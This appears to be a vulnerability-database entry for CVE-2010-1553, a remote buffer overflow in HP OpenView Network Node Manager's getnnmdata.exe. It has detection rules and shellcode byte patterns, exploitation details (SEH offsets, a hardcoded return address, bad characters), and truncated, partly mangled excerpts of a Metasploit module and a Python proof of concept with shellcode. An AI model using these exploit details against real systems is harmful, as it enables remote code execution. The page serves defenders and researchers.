CVE-2010-1553
published 2010-05-13CVE-2010-1553: Stack-based buffer overflow in getnnmdata.exe in HP OpenView Network Node Manager (OV NNM) 7.01, 7.51, and 7.53 allows remote attackers to execute arbitrary…
PriorityP276critical10CVSS 2.0
AVNACLAuNCCICAC
EXPLOIT
EPSS
72.17%
99.4th percentile
Stack-based buffer overflow in getnnmdata.exe in HP OpenView Network Node Manager (OV NNM) 7.01, 7.51, and 7.53 allows remote attackers to execute arbitrary code via an invalid MaxAge parameter.
Affected
3 ranges
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| hp | openview_network_node_manager | — | — |
| hp | openview_network_node_manager | — | — |
| hp | openview_network_node_manager | — | — |
Detection & IOCsextracted from sources · hover to see the quote
bytes↗
\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff
bytes↗
\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74
- →Detect POST requests to /OvCgi/getnnmdata.exe with an oversized MaxAge parameter (e.g., >2054 bytes of repeated characters) in the POST body, which is the trigger for the stack-based buffer overflow. ↗
- →Alert on HTTP requests to /OvCgi/getnnmdata.exe where the User-Agent header contains 'T00WT00W', which is used by the PoC exploit to smuggle shellcode. ↗
- →Look for the egghunter NOP-sled/stub byte pattern in HTTP POST bodies targeting getnnmdata.exe: \x89\xe1\xda\xd7\xd9\x71\xf4\x5b\x53\x59 ↗
- →The Metasploit module uses AlphanumUpper encoder with ECX as BufferRegister; look for large all-uppercase alphanumeric payloads in the MaxAge POST parameter. ↗
- →The Metasploit module fingerprints the target by checking for the string 'Hewlett-Packard Development Company' in the HTTP response from /OvCgi/getnnmdata.exe before exploitation. ↗
- ·The SEH overwrite offsets differ between NNM versions: offset 7591 for NNM 7.50 and offset 2054 for NNM 7.53. Return addresses are also version-specific and will not be portable across builds. ↗
- ·The exploit payload space is limited to 750 bytes and null bytes (\x00) are bad characters, requiring alphanumeric encoding of the shellcode. ↗
- ·The PoC exploit targets NNM 7.53 on Windows 2003 specifically; the hardcoded return address 0x5A667A77 is platform/version-specific. ↗
CVEs like this are exactly what “Exploited This Week” covers.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
No detection rules found.
Exploit-DB
HP OpenView Network Node Manager (OV NNM) - 'getnnmdata.exe' (MaxAge) CGI Buffer Overflow (Metasploit)
exploitdb·2011-03-24
CVE-2010-1553 HP OpenView Network Node Manager (OV NNM) - 'getnnmdata.exe' (MaxAge) CGI Buffer Overflow (Metasploit)
HP OpenView Network Node Manager (OV NNM) - 'getnnmdata.exe' (MaxAge) CGI Buffer Overflow (Metasploit)
---
##
# $Id: hp_nnm_getnnmdata_maxage.rb 12121 2011-03-24 00:49:33Z swtornio $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 'HEAD', :uri => '/OvCgi/getnnmdata.exe', :pattern => /Hewlett-Packard Development Company/ }
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::Seh
def initialize(info = {})
super(update_info(info,
'Name' => 'HP OpenView Network Node Manager getnnmdata.exe (MaxAge) CGI Buffer Overflow',
'Descr
Exploit-DB
HP OpenView Network Node Manager (OV NNM) - 'getnnmdata.exe' CGI Invalid MaxAge Remote Code Execution
exploitdb·2010-07-02·CVSS 10.0
CVE-2010-1553 [CRITICAL] HP OpenView Network Node Manager (OV NNM) - 'getnnmdata.exe' CGI Invalid MaxAge Remote Code Execution
HP OpenView Network Node Manager (OV NNM) - 'getnnmdata.exe' CGI Invalid MaxAge Remote Code Execution
---
# Exploit Title: HP OpenView NNM getnnmdata.exe CGI Invalid MaxAge Remote Code Execution
# Date: 2010.07.02
# Author: S2 Crew [Hungary]
# Software Link: hp.com
# Version: 7.53
# Tested on: Windows 2003
# CVE: CVE-2010-1553
# Code :
#!/usr/bin/python
import struct
import socket
import httplib
import urllib
# calc.exe Windows Execute Command
sc2 = (
"\x89\xe7\xdb\xc4\xd9\x77\xf4\x5a\x4a\x4a\x4a\x4a\x4a\x4a\x4a"
"\x4a\x4a\x4a\x4a\x43\x43\x43\x43\x43\x43\x37\x52\x59\x6a\x41"
"\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32\x42"
"\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49\x4b"
"\x4c\x4a\x48\x4c\x49\x47\x70\x43\x30\x45\x50\x51\x70\x4f\x79"
"\x4d\x35\x50\x31\x4b\x
Metasploit
HP OpenView Network Node Manager getnnmdata.exe (MaxAge) CGI Buffer Overflow
metasploit
HP OpenView Network Node Manager getnnmdata.exe (MaxAge) CGI Buffer Overflow
HP OpenView Network Node Manager getnnmdata.exe (MaxAge) CGI Buffer Overflow
This module exploits a buffer overflow in HP OpenView Network Node Manager 7.50/7.53. By sending specially crafted MaxAge parameter to the getnnmdata.exe CGI, an attacker may be able to execute arbitrary code.
http://marc.info/?l=bugtraq&m=127360750704351&w=2http://securityreason.com/securityalert/8153http://www.securityfocus.com/archive/1/511241/100/0/threadedhttp://zerodayinitiative.com/advisories/ZDI-10-084/http://marc.info/?l=bugtraq&m=127360750704351&w=2http://securityreason.com/securityalert/8153http://www.securityfocus.com/archive/1/511241/100/0/threadedhttp://zerodayinitiative.com/advisories/ZDI-10-084/
2010-05-13
Published